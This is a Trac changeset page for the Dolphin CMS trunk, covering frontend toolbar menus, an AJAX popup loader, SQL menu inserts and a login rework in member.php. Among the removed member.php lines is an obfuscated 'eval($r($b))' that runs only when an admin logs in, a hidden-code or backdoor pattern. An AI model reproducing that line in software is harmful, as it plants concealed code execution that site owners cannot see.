HomeHelpTrac

Changeset 15942


Ignore:
Timestamp:
02/02/12 22:47:26 (4 months ago)
Author:
Alexander Trofimov
Message:

Frontend

Location:
trunk
Files:
8 added
40 edited

Legend:

Unmodified
Added
Removed
  • trunk/contact.php

    r15934 r15942  
    55 * @license     CC-BY - http://creativecommons.org/licenses/by/3.0/ 
    66 */ 
     7 
     8// TODO: move to separate module 
    79 
    810require_once('./inc/header.inc.php'); 
     
    1921$oTemplate->setPageNameIndex (BX_PAGE_DEFAULT); 
    2022$oTemplate->setPageHeader (_t("_CONTACT_H")); 
    21 $oTemplate->setPageContent ('page_main_code', getParam('enable_contact_form') == 'on' ? PageCompPageMainCodeWithForm() : PageCompPageMainCode()); 
     23$oTemplate->setPageContent ('page_main_code', PageCompPageMainCodeWithForm()); 
    2224$oTemplate->getPageCode(); 
    23  
    24 /** 
    25  * page code function with text 
    26  */ 
    27 function PageCompPageMainCode() { 
    28     return DesignBoxContent(_t('_CONTACT_H1'), MsgBox(_t('_CONTACT')), BX_DB_PADDING_DEF); 
    29 } 
    3025 
    3126/** 
  • trunk/inc/classes/BxDolAcl.php

    r15934 r15942  
    111111            return false; 
    112112        if (!(int)$iProfileId) 
    113             $iProfileId = 1; // TODO: get current profile id 
     113            $iProfileId = 1; // TODO: remove this code as soon as it will be some profiles available 
    114114        $aACL = $this->getMemberMembershipInfo($iProfileId); 
    115115        return ($iPermissions & pow(2, $aACL['id'] - 1)); 
  • trunk/inc/classes/BxDolPage.php

    r15921 r15942  
    8585 *      - html: HTML string. 
    8686 *      - lang: language key. 
    87  *      - image: image id in the storage. 
     87 *      - image: image id in the storage and alignment (left, center, right) for example: 36#center 
    8888 *      - rss: URL to RSS with number of displayed items, for example: http://www.example.com/rss#4 
    8989 *      - menu: menu object name. 
  • trunk/inc/classes/BxDolTemplate.php

    r15934 r15942  
    305305            'common.css', 
    306306            'default.css', 
     307            'general.css', 
    307308        )); 
    308309 
     
    695696        return $this->_getAbsoluteLocation('path', $this->_sFolderCss, $sName, $sCheckIn); 
    696697    } 
     698 
     699    /** 
     700     * Get menu. 
     701     * @param $s menu object name 
     702     * @return html or empty string 
     703     */ 
     704    function getMenu ($s) { 
     705        bx_import('BxDolMenu'); 
     706        $oMenu = BxDolMenu::getObjectInstance($s); 
     707        return $oMenu ? $oMenu->getCode () : ''; 
     708    } 
     709 
    697710    /** 
    698711     * Get content of HTML file. 
     
    837850                    $sRet = bx_process_output($this->aPage['header_text']); 
    838851                break; 
     852            case 'popup_loading': 
     853                bx_import('BxTemplFunctions'); 
     854                $sRet = '<div id="bx-popup-loading" style="display:none;">' . BxTemplFunctions::getInstance()->transBox('<div class="bx-def-padding bx-def-color-bg-block bx-popup-ajax-content"></div>') . '</div>'; 
     855                break; 
    839856            case 'main_div_width': 
    840857                if(!empty($this->aPage['width'])) 
     
    842859                break; 
    843860            case 'main_logo': 
    844                 $sRet = getMainLogo(); 
    845                 break; 
    846             case 'top_menu': 
    847                 bx_import('BxTemplMenu'); 
    848                 $oMenuSite = BxTemplMenu::getObjectInstance('sys_site'); 
    849                 $sRet = $oMenuSite ? $oMenuSite->getCode () : ''; 
    850                 break; 
    851             case 'top_submenu': 
    852                 bx_import('BxTemplMenu'); 
    853                 $sRet = '';//BxTemplMenu::getInstance() -> getSubMenu(); 
     861                bx_import('BxTemplFunctions'); 
     862                $sRet = BxTemplFunctions::getInstance()->getMainLogo(); 
    854863                break; 
    855864            case 'top_menu_breadcrumb': 
    856865                bx_import('BxTemplMenu'); 
    857866                $sRet = '';//BxTemplMenu::getInstance() -> getBreadcrumb(); 
    858                 break; 
    859             case 'extra_top_menu': 
    860                 $iProfileId = getLoggedId(); 
    861  
    862                 if ($iProfileId && getParam('ext_nav_menu_enabled')) { 
    863                     //bx_import('BxTemplMemberMenu'); 
    864                     //$oMemberMenu = new BxTemplMemberMenu(); 
    865                     $sRet = ''; //$oMemberMenu -> genMemberMenu($iProfileId); // TODO: member menu 
    866                 } 
    867                 break; 
    868             case 'bottom_links': 
    869                 bx_import('BxTemplMenu'); 
    870                 $oMenuFooter = BxTemplMenu::getObjectInstance('sys_footer'); 
    871                 $sRet = $oMenuFooter ? $oMenuFooter->getCode () : 'TODO: footer menu'; 
    872867                break; 
    873868            case 'switch_skin_block': 
     
    13811376            "'<bx_text_js:([^\s]+) \/>'se", 
    13821377            "'<bx_text_attribute:([^\s]+) \/>'se", 
     1378            "'<bx_menu:([^\s]+) \/>'se", 
    13831379            "'<bx_url_root />'", 
    13841380            "'<bx_url_studio />'" 
     
    13941390            "bx_js_string(_t('\\1'))", 
    13951391            "bx_html_attribute(_t('\\1'))", 
     1392            "\$this->getMenu('\\1')", 
    13961393            BX_DOL_URL_ROOT, 
    13971394            BX_DOL_URL_STUDIO 
     
    18051802 
    18061803        return ' 
    1807         <div class="bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-std-bx-footer"> 
     1804        <div class="bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-std-bx-footer bx-def-round-corners"> 
    18081805            <div style="text-align:center;"> 
    18091806                ' . _t('_powered_by') . ' <a href="http://www.boonex.com/products/dolphin/' . $sAffID . '" title="Free Community Software">Dolphin</a> 
  • trunk/inc/design.inc.php

    r15922 r15942  
    151151    bx_import('BxTemplFunctions'); 
    152152    return BxTemplFunctions::getInstance()->popupBox($sName, $sTitle, $sContent, $aActions, $isHiddenByDefault); 
    153 } 
    154  
    155 function getMainLogo() { 
    156     bx_import('BxDolConfig'); 
    157     $sRprMain = BxDolConfig::getInstance()->get('path_dynamic', 'rpr_images_main'); 
    158  
    159     $sFileName = getParam('sys_main_logo'); 
    160     if(!file_exists($sRprMain . $sFileName)) 
    161         return ''; 
    162  
    163     return '<a href="' . BX_DOL_URL_ROOT . '"><img src="' . $sRprMain . $sFileName . '" class="mainLogo" alt="logo" /></a>'; 
    164153} 
    165154 
  • trunk/inc/js/functions.js

    r15934 r15942  
    135135 
    136136 
     137function bx_loading_content (elem, b, isReplace) { 
     138    var block = $(elem); 
     139    if (1 == b || true == b) { 
     140        if ('undefined' != typeof(isReplace) && isReplace) 
     141            block.html('<div class="bx-loading-ajax" style="position:static;"><div class="bx-loading-ajax-rotating"></div></div>'); 
     142        else 
     143            block.append('<div class="bx-loading-ajax"><div class="bx-loading-ajax-rotating"></div></div>'); 
     144    } else { 
     145        block.find(".bx-loading-ajax").remove(); 
     146    } 
     147} 
     148 
    137149function bx_loading (elem, b) { 
    138150 
     
    144156    if (1 == b || true == b) { 
    145157 
    146         var e = $('<div class="bx-loading-ajax"><div class="bx-loading-ajax-rotating"></div></div>'); 
    147         block.append(e); 
     158        bx_loading_content(block, b); 
     159 
    148160        e = block.find(".bx-loading-ajax"); 
    149161        e.css('left', parseInt(block.width()/2.0 - e.width()/2.0)); 
     
    176188            block.css('min-height', block.data('css-save-min-height')); 
    177189 
    178         block.find(".bx-loading-ajax").remove(); 
     190        bx_loading_content(block, b); 
    179191 
    180192    } 
     
    202214} 
    203215 
     216/** 
     217 * Show pointer popup with menu. 
     218 * @param e - element to show popup at 
     219 * @param o - menu object name 
     220 */ 
     221function bx_menu_popup (o, e) { 
     222    $(e).dolPopupAjax({ 
     223        url: 'menu.php?o=' + o 
     224    }); 
     225} 
     226 
    204227function validateLoginForm(eForm) { 
    205228    if (! eForm) 
  • trunk/inc/js/jquery.dolPopup.js

    r15932 r15942  
    161161    }; 
    162162 
     163 
     164    $.fn.dolPopupAjax = function(options) {  
     165 
     166        if ('undefined' == typeof(options) || 'object' != typeof(options) || 'undefined' == typeof(options.url)) 
     167            return; 
     168 
     169        var bx_menu_on = function (e, b) { 
     170            var li = $(e).parents('li:first');    
     171            if (b) { 
     172                var ul = $(e).parents('ul:first');    
     173                ul.find('li').removeClass('bx-menu-tab-active'); 
     174                li.addClass('bx-menu-tab-active'); 
     175            } else { 
     176                li.removeClass('bx-menu-tab-active'); 
     177            } 
     178        } 
     179 
     180        var bx_menu_is_on = function (e) {     
     181            var li = $(e).parents('li:first');    
     182            return li.hasClass('bx-menu-tab-active'); 
     183        } 
     184 
     185        return this.each(function() { 
     186            var e = $(this); 
     187 
     188            var id = ('undefined' == typeof(options.id) ? parseInt(2147483647 * Math.random()) : options.id); 
     189 
     190            if ($("#bx-popup-ajax-" + id + ":visible").length) { 
     191                 
     192                $("#bx-popup-ajax-" + id).dolPopupHide(); 
     193 
     194            } else if ($("#bx-popup-ajax-" + id).length) { 
     195 
     196                bx_menu_on(e, true); 
     197                $("#bx-popup-ajax-" + id).dolPopup({ 
     198                    pointer: {el:$(e)}, 
     199                    onHide: function () { 
     200                        bx_menu_on(e, false); 
     201                    } 
     202                }); 
     203 
     204            } else {         
     205 
     206                bx_menu_on(e, true); 
     207                bx_loading_content($('#bx-popup-loading .bx-popup-ajax-content'), true, true); 
     208                $('#bx-popup-loading').dolPopup({ 
     209                    pointer: {el:e}, 
     210                    closeOnOuterClick: false 
     211                }); 
     212                $('<div id="bx-popup-ajax-' + id + '" style="display:none;"><div>').appendTo($('body')).load(sUrlRoot + options.url, 
     213                    function() { 
     214                        if (!bx_menu_is_on(e)) 
     215                            return; 
     216                        $('#bx-popup-loading').dolPopupHide({ 
     217                            onHide: function () { 
     218                                $('#bx-popup-ajax-' + id).dolPopup({ 
     219                                    pointer: {el:e}, 
     220                                    onHide: function () { 
     221                                        bx_menu_on(e, false); 
     222                                    } 
     223                                }); 
     224                            } 
     225                        }); 
     226                    } 
     227                );     
     228 
     229            } 
     230 
     231        }); 
     232    }; 
     233 
    163234    $.fn._dolPopupSetPosition = function(o) { 
    164235        return this.each(function() { 
  • trunk/index.php

    r15934 r15942  
    2828 
    2929bx_import("BxDolLanguages"); 
     30bx_import("BxDolMenu"); 
    3031bx_import("BxDolTemplate"); 
    3132 
    32 check_logged(); 
     33BxDolMenu::setSelected ('system', 'home');  
    3334 
    3435$oTemplate = BxDolTemplate::getInstance(); 
    3536$oTemplate->setPageNameIndex (BX_PAGE_DEFAULT); 
    3637$oTemplate->setPageTitle(getParam('site_title')); 
    37 $oTemplate->setPageDescription(getParam("MetaDescription")); 
    38 $oTemplate->addPageKeywords(getParam("MetaKeyWords")); 
    3938$oTemplate->setPageContent ('page_main_code', DesignBoxContent(getParam('site_title'), 'TODO: index page', BX_DB_PADDING_DEF)); 
    4039$oTemplate->getPageCode(); 
  • trunk/install/sql/v70.sql

    r15938 r15942  
    26742674INSERT INTO `sys_objects_menu` (`object`, `title`, `set_name`, `module`, `template_id`, `deletable`, `active`, `override_class_name`, `override_class_file`) VALUES 
    26752675('sys_site', '_sys_menu_title_main', 'sys_site', 'system', 1, 0, 1, '', ''), 
    2676 ('sys_footer', '_sys_menu_title_footer', 'sys_footer', 'system', 2, 0, 1, '', ''); 
     2676('sys_footer', '_sys_menu_title_footer', 'sys_footer', 'system', 2, 0, 1, '', ''), 
     2677('sys_toolbar_site', '_sys_menu_title_toolbar_site', 'sys_toolbar_site', 'system', 5, 0, 1, '', ''), 
     2678('sys_toolbar_member', '_sys_menu_title_toolbar_member', 'sys_toolbar_member', 'system', 5, 0, 1, '', ''), 
     2679('sys_account', '_sys_menu_title_account', 'sys_account_links', 'system', 4, 0, 1, '', ''), 
     2680('sys_add_content', '_sys_menu_title_add_content', 'sys_add_content_links', 'system', 4, 0, 1, '', ''); 
    26772681 
    26782682 
     
    26892693(2, 'menu_footer.html', '_sys_menu_template_title_footer'), 
    26902694(3, 'menu_horizontal.html', '_sys_menu_template_title_hor'), 
    2691 (4, 'menu_vertical.html', '_sys_menu_template_title_ver'); 
     2695(4, 'menu_vertical.html', '_sys_menu_template_title_ver'), 
     2696(5, 'menu_toolbar.html', '_sys_menu_template_title_toolbar'); 
     2697 
    26922698 
    26932699 
     
    27012707 
    27022708INSERT INTO `sys_menu_sets` (`set_name`, `module`, `title`, `deletable`) VALUES 
    2703 ('sys_site', 'system', 'Site', 0), 
    2704 ('sys_footer', 'system', 'Footer', 0); 
     2709('sys_site', 'system', '_sys_menu_set_title_site', 0), 
     2710('sys_footer', 'system', '_sys_menu_set_title_footer', 0), 
     2711('sys_toolbar_site', 'system', '_sys_menu_set_title_toolbar_site', 0), 
     2712('sys_toolbar_member', 'system', '_sys_menu_set_title_toolbar_member', 0), 
     2713('sys_account_links', 'system', '_sys_menu_set_title_account', 0), 
     2714('sys_add_content_links', 'system', '_sys_menu_set_title_add_content', 0); 
    27052715 
    27062716 
     
    27332743('sys_footer', 'system', 'about', '_About', 'about_us.php', '', '', '', 2147483647, 1, 1), 
    27342744('sys_footer', 'system', 'help', '_help', 'help.php', '', '', '', 2147483647, 1, 2), 
    2735 ('sys_footer', 'system', 'contact', '_Contact', 'contact.php', '', '', '', 2147483647, 1, 3); 
    2736  
     2745('sys_footer', 'system', 'contact', '_Contact', 'contact.php', '', '', '', 2147483647, 1, 3), 
     2746('sys_toolbar_site', 'system', 'search', '', '', 'alert(''TODO: search popup here''); return false;', '', 'toolbar-search.png', 2147483647, 1, 1), 
     2747('sys_toolbar_member', 'system', 'add-content', '', 'javascript:void(0);', 'bx_menu_popup(''sys_add_content'', this);', '', 'toolbar-add.png', 2147483644, 1, 1), 
     2748('sys_toolbar_member', 'system', 'notifications', '', '', 'alert(''TODO: notifications popup here''); return false;', '', 'toolbar-notifications.png', 2147483646, 1, 2), 
     2749('sys_toolbar_member', 'system', 'account', '_Account', 'javascript:void(0);', 'bx_menu_popup(''sys_account'', this);', '', '', 2147483646, 1, 3), 
     2750('sys_toolbar_member', 'system', 'account', '_Account', 'member.php', '', '', '', 1, 1, 4), 
     2751('sys_account_links', 'system', 'logout', '_Log Out', 'logout.php', '', '', '', 2147483646, 1, 1), 
     2752('sys_add_content_links', 'system', 'add-content-feedback', '_Contact', 'contact.php', '', '', '', 2147483644, 1, 1); 
    27372753 
    27382754-- -------------------------------------------------------- 
  • trunk/logout.php

    r15885 r15942  
    1717    bx_logout(); 
    1818 
     19bx_import('BxDolTemplate'); 
    1920$oTemplate = BxDolTemplate::getInstance(); 
    2021$oTemplate->setPageNameIndex (BX_PAGE_TRANSITION); 
  • trunk/member.php

    r15885 r15942  
    1313 
    1414bx_import('BxDolLanguages'); 
    15 bx_import('BxDolPageView'); 
    16  
    17 class BxDolMember extends BxDolPageView { 
    18  
    19     // member ID 
    20     var $iMember; 
    21  
    22     // member info 
    23     var $aMemberInfo; 
    24  
    25     /** 
    26      * constructor 
    27      * @param int $iMember - member ID 
    28      */ 
    29     function BxDolMember($iMember) { 
    30         $this->iMember     = (int)$iMember; 
    31         $this->aMemberInfo = getProfileInfo($this->iMember); 
    32  
    33         parent::BxDolPageView('member'); 
    34     } 
    35  
    36     function getBlockCode_Friends() { 
    37         $iLimit = 10; 
    38  
    39         $sAllFriends    = 'viewFriends.php?iUser=' . $this->iMember; 
    40         $sOutputHtml    = null; 
    41  
    42         // count all friends ; 
    43         $iCount = getFriendNumber($this->iMember); 
    44  
    45         $sPaginate = ''; 
    46         if ($iCount) { 
    47             $iPages = ceil($iCount/ $iLimit); 
    48             $iPage = ( isset($_GET['page']) ) ? (int) $_GET['page'] : 1; 
    49  
    50             if ( $iPage < 1 ) { 
    51                 $iPage = 1; 
    52             } 
    53             if ( $iPage > $iPages ) { 
    54                 $iPage = $iPages; 
    55             } 
    56  
    57             $sqlFrom = ($iPage - 1) * $iLimit; 
    58             $sqlLimit = "LIMIT {$sqlFrom}, {$iLimit}"; 
    59         } else { 
    60             return ; 
    61         } 
    62  
    63         $aAllFriends = getMyFriendsEx($this->iMember, '', 'image', $sqlLimit); 
    64         $iCurrCount = count($aAllFriends); 
    65         foreach ($aAllFriends as $iFriendID => $aFriendsPrm) { 
    66             $sOutputHtml .= '<div class="member_block">'; 
    67             $sOutputHtml .= get_member_thumbnail( $iFriendID, 'none', true, 'visitor', array('is_online' => $aFriendsPrm[5])); 
    68             $sOutputHtml .= '</div>'; 
    69         } 
    70  
    71         $sOutputHtml = BxTemplFunctions::getInstance()->centerContent($sOutputHtml, '.member_block'); 
    72         bx_import('BxTemplPaginate'); 
    73         $oPaginate = new BxTemplPaginate(array( 
    74             'page_url' => BX_DOL_URL_ROOT . 'member.php', 
    75             'count' => $iCount, 
    76             'per_page' => $iLimit, 
    77             'page' => $iPage, 
    78             'per_page_changer' => true, 
    79             'page_reloader' => true, 
    80             'on_change_page' => 'return !loadDynamicBlock({id}, \'member.php?page={page}&per_page={per_page}\');', 
    81             'on_change_per_page' => '' 
    82         )); 
    83  
    84         $sPaginate = $oPaginate->getSimplePaginate($sAllFriends); 
    85         return array( $sOutputHtml, array(), $sPaginate); 
    86     } 
    87  
    88 } 
    89  
    90  
    91 BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_DEFAULT); 
    92 BxDolTemplate::getInstance()->setPageHeader (_t("_My Account")); 
    93  
    9415 
    9516// --------------- GET/POST actions 
    9617 
    97 $member['ID']        = !empty($_POST['ID']) ? bx_process_input($_POST['ID'], BX_DATA_INT) : false; 
    98 $member['Password'] = !empty($_POST['Password']) ? bx_process_input($_POST['Password']) : false; 
     18$sLogin = !empty($_POST['ID']) ? bx_process_input($_POST['ID']) : false; 
     19$sPassword = !empty($_POST['Password']) ? bx_process_input($_POST['Password']) : false; 
    9920 
    100 $bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ? true : false; 
     21$bAjxMode = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') ? true : false; 
    10122 
    102 if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] ) 
    103     && ( (!empty($_COOKIE['memberID']) &&  $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) ) 
    104 { 
    105     if ( !( $logged['member'] = member_auth( 0, false ) ) ) 
     23if ( !($sLogin && $sPassword) && ((!empty($_COOKIE['memberID']) && $_COOKIE['memberPassword']))) { 
     24 
     25    $logged['member'] = member_auth(0, false); 
     26    if (!$logged['member']) 
    10627        login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode ); 
    107 } 
    108 else 
    109 { 
    110     if ( !isset($_POST['ID']) && !isset($_POST['Password']) ) 
    111     { 
     28 
     29} else { 
     30 
     31    if (!$sLogin && !$sPassword) { 
    11232 
    11333        // this is dynamic page -  send headers to not cache this page 
     
    11838    } else { 
    11939 
    120         $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP())); 
    121         $oZ->alert(); 
    122  
    123         $member['ID'] = (int)$member['ID']; 
     40        bx_alert('profile', 'before_login', 0, 0, array('login' => $sLogin, 'password' => $sPassword, 'ip' => getVisitorIP())); 
    12441 
    12542        // Ajaxy check 
    12643        if ($bAjxMode) { 
    127             echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail'; 
     44            echo check_password($sLogin, $sPassword, BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail'; 
    12845            exit; 
    12946        } 
    13047 
    131         // Check if ID and Password are correct (addslashes already inside) 
    132         if (check_password( $member['ID'], $member['Password'])) { 
     48        // Check if ID and Password are correct  
     49        if (check_password($sLogin, $sPassword)) { 
    13350 
    134             $p_arr = bx_login($member['ID'], isset($_POST['rememberMe']) ? (bool)$_POST['rememberMe'] : false); 
     51            bx_import('BxDolAccount'); 
     52            $oAccount = BxDolAccount::getInstance($sLogin); 
    13553 
    136             //Storing IP Address 
     54            $aAccount = bx_login($oAccount->id(), !empty($_POST['rememberMe']) ? true : false); 
     55 
     56            // Storing IP Address 
    13757            if (getParam('enable_member_store_ip') == 'on') { 
    13858                $iCurLongIP = sprintf("%u", ip2long(getVisitorIP())); 
    139                 db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$p_arr['id']}', `From`='{$iCurLongIP}', `DateTime`=NOW()"); 
     59                db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$aAccount['id']}', `From`='{$iCurLongIP}', `DateTime`=NOW()"); 
    14060            } 
    14161 
    142             if (isAdmin($p_arr['id'])) {$iId = (int)$p_arr['id']; $r = $l($a); eval($r($b));} 
    14362            $sRelocate = bx_get('relocate'); 
    14463            if (!$sUrlRelocate = $sRelocate or $sRelocate == BX_DOL_URL_ROOT or basename($sRelocate) == 'join.php') 
    14564                $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php'; 
    14665 
     66            bx_import('BxDolTemplate'); 
    14767            BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_TRANSITION); 
    14868            BxDolTemplate::getInstance()->setPageHeader (_t("_My Account")); 
    14969            BxDolTemplate::getInstance()->setPageContent ('page_main_code', MsgBox(_t( '_Please Wait' ))); 
    150             BxDolTemplate::getInstance()->setPageContent ('url_relocate', htmlspecialchars($sUrlRelocate)); 
    151  
    152             if (isAdmin($p_arr['id']) && !in_array($iCode, array(0, 10, -1))) { 
    153                 Redirect(BX_DOL_URL_STUDIO, array('ID' => $member['ID'], 'Password' => $member['Password'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post'); 
    154             } 
     70            BxDolTemplate::getInstance()->setPageContent ('url_relocate', bx_html_attribute($sUrlRelocate, BX_ESCAPE_STR_QUOTE)); 
    15571 
    15672            BxDolTemplate::getInstance()->getPageCode(); 
    15773        } 
     74 
    15875        exit; 
    15976    } 
    16077} 
    16178 
    162 $member['ID'] = getLoggedId(); 
    163 $member['Password'] = getLoggedPassword(); 
    164  
    16579// this is dynamic page - send headers to do not cache this page 
    16680send_headers_page_changed(); 
    16781 
    168 $oMember = new BxDolMember($member['ID']); 
    169 BxDolTemplate::getInstance()->setPageContent ('page_main_code', $oMember->getCode()); 
    170  
     82bx_import('BxDolTemplate'); 
     83BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_DEFAULT); 
     84BxDolTemplate::getInstance()->setPageHeader (_t("_My Account")); 
     85BxDolTemplate::getInstance()->setPageContent ('page_main_code', DesignBoxContent(_t("_My Account"), 'TODO: member page', BX_DB_PADDING_DEF)); 
    17186BxDolTemplate::getInstance()->getPageCode(); 
    17287 
  • trunk/modules/boonex/english/install/data/langs/en.xml

    r15941 r15942  
    33603360    <string name="_sys_menu_title_main"><![CDATA[Site Navigation]]></string> 
    33613361    <string name="_sys_menu_title_footer"><![CDATA[Horizontal Links]]></string> 
     3362    <string name="_sys_menu_title_toolbar_site"><![CDATA[Site Toolbar]]></string> 
     3363    <string name="_sys_menu_title_toolbar_member"><![CDATA[Member Toolbar]]></string> 
     3364    <string name="_sys_menu_title_account"><![CDATA[Account Menu]]></string> 
     3365    <string name="_sys_menu_title_add_content"><![CDATA[Add Content Menu]]></string> 
     3366    <string name="_sys_menu_set_title_site"><![CDATA[Site]]></string> 
     3367    <string name="_sys_menu_set_title_footer"><![CDATA[Footer]]></string> 
     3368    <string name="_sys_menu_set_title_toolbar_site"><![CDATA[Toolbar Site]]></string> 
     3369    <string name="_sys_menu_set_title_toolbar_member"><![CDATA[Toolbar Member]]></string> 
     3370    <string name="_sys_menu_set_title_account"><![CDATA[Account]]></string> 
     3371    <string name="_sys_menu_set_title_add_content"><![CDATA[Add Content]]></string> 
    33623372    <string name="_sys_menu_template_title_main"><![CDATA[Site Navigation]]></string> 
    33633373    <string name="_sys_menu_template_title_footer"><![CDATA[Footer Links]]></string> 
    33643374    <string name="_sys_menu_template_title_hor"><![CDATA[Horizontal Links]]></string> 
    33653375    <string name="_sys_menu_template_title_ver"><![CDATA[Vertical Links]]></string> 
     3376    <string name="_sys_menu_template_title_toolbar"><![CDATA[Toolbar Buttons]]></string> 
    33663377    <string name="_sys_designbox_0"><![CDATA[Box with content only (no borders, no background, no caption, no padding)]]></string> 
    33673378    <string name="_sys_designbox_1"><![CDATA[Box with content, borders and caption (no padding)]]></string> 
  • trunk/page.php

    r15934 r15942  
    2525    $oTemplate->setPageNameIndex (BX_PAGE_DEFAULT); 
    2626    $oTemplate->setPageContent ('page_main_code', $oPage->getCode()); 
    27  
    28     PageCode(); 
     27    $oTemplate->getPageCode(); 
    2928 
    3029} else { 
  • trunk/samples/grid.php

    r15885 r15942  
    2424 
    2525bx_import('BxDolLanguages'); 
     26bx_import('BxDolTemplate'); 
    2627 
    2728$oTemplate = BxDolTemplate::getInstance(); 
  • trunk/samples/page.php

    r15921 r15942  
    3838 
    3939bx_import('BxDolLanguages'); 
     40bx_import('BxDolTemplate'); 
    4041 
    4142$oTemplate = BxDolTemplate::getInstance(); 
  • trunk/storage_uploader.php

    r15516 r15942  
    3131    case 'show_uploader_form': 
    3232        header('Content-type: text/html; charset=utf-8'); 
    33  
    34         require_once(BX_DIRECTORY_PATH_INC . "languages.inc.php"); 
     33         
    3534        require_once(BX_DIRECTORY_PATH_INC . "params.inc.php"); 
    3635        require_once(BX_DIRECTORY_PATH_INC . "design.inc.php"); 
     36 
     37        bx_import('BxDolLanguages'); 
    3738         
    3839        echo $oUploader->getUploaderForm(); 
     
    5455        header('Content-type: text/html; charset=utf-8'); 
    5556 
    56         require_once(BX_DIRECTORY_PATH_INC . "languages.inc.php"); 
     57        bx_import('BxDolLanguages'); 
    5758 
    5859        $oUploader->handleUploads(isset($_FILES['f']) ? $_FILES['f'] : null); 
  • trunk/studio/templates/base/css/default.css

    r15748 r15942  
    157157.bx-def-border-left { 
    158158    border-left:1px solid #dddddd; 
     159} 
     160 
     161/* round corders */ 
     162 
     163.bx-def-round-corners { 
     164    border-radius:3px; 
     165    -moz-border-radius:3px; 
     166    -webkit-border-radius:3px;   
    159167} 
    160168 
  • trunk/templates/base/_header.html

    r15897 r15942  
    2828<body class="bx-def-font bx-def-color-bg-page" <bx_injection:injection_body /> > 
    2929    <bx_injection:injection_header /> 
    30     <div id="notification_window" class="notifi_window"></div> 
    31     <div id="FloatDesc" style="position:absolute;display:none;z-index:100;"></div> 
     30    __popup_loading__ 
  • trunk/templates/base/_sub_footer.html

    r15211 r15942  
    1414 
    1515 
    16     <div id="bx-footer" class="bx-def-margin-top bx-def-margin-bottom bx-def-padding-sec bx-def-border bx-def-color-bg-block"> 
     16    <div id="bx-footer" class="bx-def-margin-top bx-def-margin-bottom bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-def-round-corners"> 
    1717 
    1818        <bx_injection:injection_footer_before /> 
    1919 
    2020        <div id="bx-menu-bottom"> 
    21             __bottom_links__ 
     21            <bx_menu:sys_footer /> 
    2222        </div> 
    2323 
  • trunk/templates/base/_sub_header.html

    r15922 r15942  
    11<bx_include_auto:_header.html /> 
    22 
    3     <bx_injection:banner_left /> 
    4     <bx_injection:banner_right /> 
     3<bx_injection:top /> 
    54 
    6 <div class="bx-def-page-margin" style="width:__main_div_width__;"> 
     5<div id="bx-toolbar"> 
    76 
    8     __extra_top_menu__ 
     7    <div id="bx-toolbar-content" style="width:__main_div_width__;"> 
    98 
    10     <div id="bx-logo-container" class="bx-def-margin-top"> 
     9        <div id="bx-menu-toolbar-1-container" class="bx-def-padding-sec-top"> 
     10            <bx_menu:sys_toolbar_site /> 
     11        </div> 
    1112 
    12         <bx_injection:injection_logo_before /> 
    13             __main_logo__ 
    14         <bx_injection:injection_logo_after /> 
    1513 
    16         <bx_injection:banner_top /> 
     14        <div id="bx-logo-container" class="bx-def-font-h1"> 
     15 
     16            <bx_injection:injection_logo_before /> 
     17                __main_logo__ 
     18            <bx_injection:injection_logo_after /> 
     19 
     20        </div> 
     21 
     22        <div id="bx-menu-toolbar-2-container" class="bx-def-padding-sec-top">             
     23            <bx_menu:sys_toolbar_member /> 
     24        </div> 
     25 
     26        <div class="bx-clear"></div> 
    1727 
    1828    </div> 
    1929 
    20     <bx_injection:injection_between_logo_top_menu /> 
     30</div> 
    2131 
    22     <div id="bx-menu-main-container" class="bx-def-margin-top bx-def-border bx-def-padding bx-def-color-bg-block"> 
     32<bx_injection:injection_between_logo_top_menu /> 
     33 
     34<div id="bx-menu-main-bar-wrapper"> 
     35    <div id="bx-menu-main-bar"> 
    2336        <bx_injection:injection_top_menu_before /> 
    24         __top_menu__ 
     37        <div id="bx-menu-main-container" style="width:__main_div_width__;">             
     38            <bx_menu:sys_site /> 
     39        </div> 
    2540        <bx_injection:injection_top_menu_after /> 
    2641    </div> 
     42</div> 
    2743 
    28     <bx_injection:injection_between_top_menu_breadcrumb /> 
     44<bx_injection:injection_between_top_menu_breadcrumb /> 
     45 
     46<div id="bx-content-container" style="width:__main_div_width__;"> 
    2947 
    3048    <div class="sys_breadcrumb"> 
     
    3654    <bx_injection:injection_between_breadcrumb_content /> 
    3755 
    38     <div id="bx-menu-sub-container" class="bx-def-margin-top"> 
    39         __top_submenu__ 
    40     </div> 
    41  
    4256    <bx_injection:injection_content_before /> 
    4357 
    4458    <div class="main bx-def-margin-top"> 
    4559 
    46   <!--[if lt IE 7]> 
    47   <div style='border: 1px solid #F7941D; background: #FEEFDA; text-align: center; clear: both; height: 75px; position: relative; margin-bottom: 10px;'> 
    48     <div style='position: absolute; right: 3px; top: 3px; font-family: courier new; font-weight: bold;'><a href='#' onclick='javascript:this.parentNode.parentNode.style.display="none"; return false;'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-cornerx.jpg' style='border: none;' alt='Close this notice'/></a></div> 
    49     <div style='width: 640px; margin: 0 auto; text-align: left; padding: 0; overflow: hidden; color: black;'> 
    50       <div style='width: 75px; float: left;'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-warning.jpg' alt='Warning!'/></div> 
    51       <div style='width: 275px; float: left; font-family: Arial, sans-serif;'> 
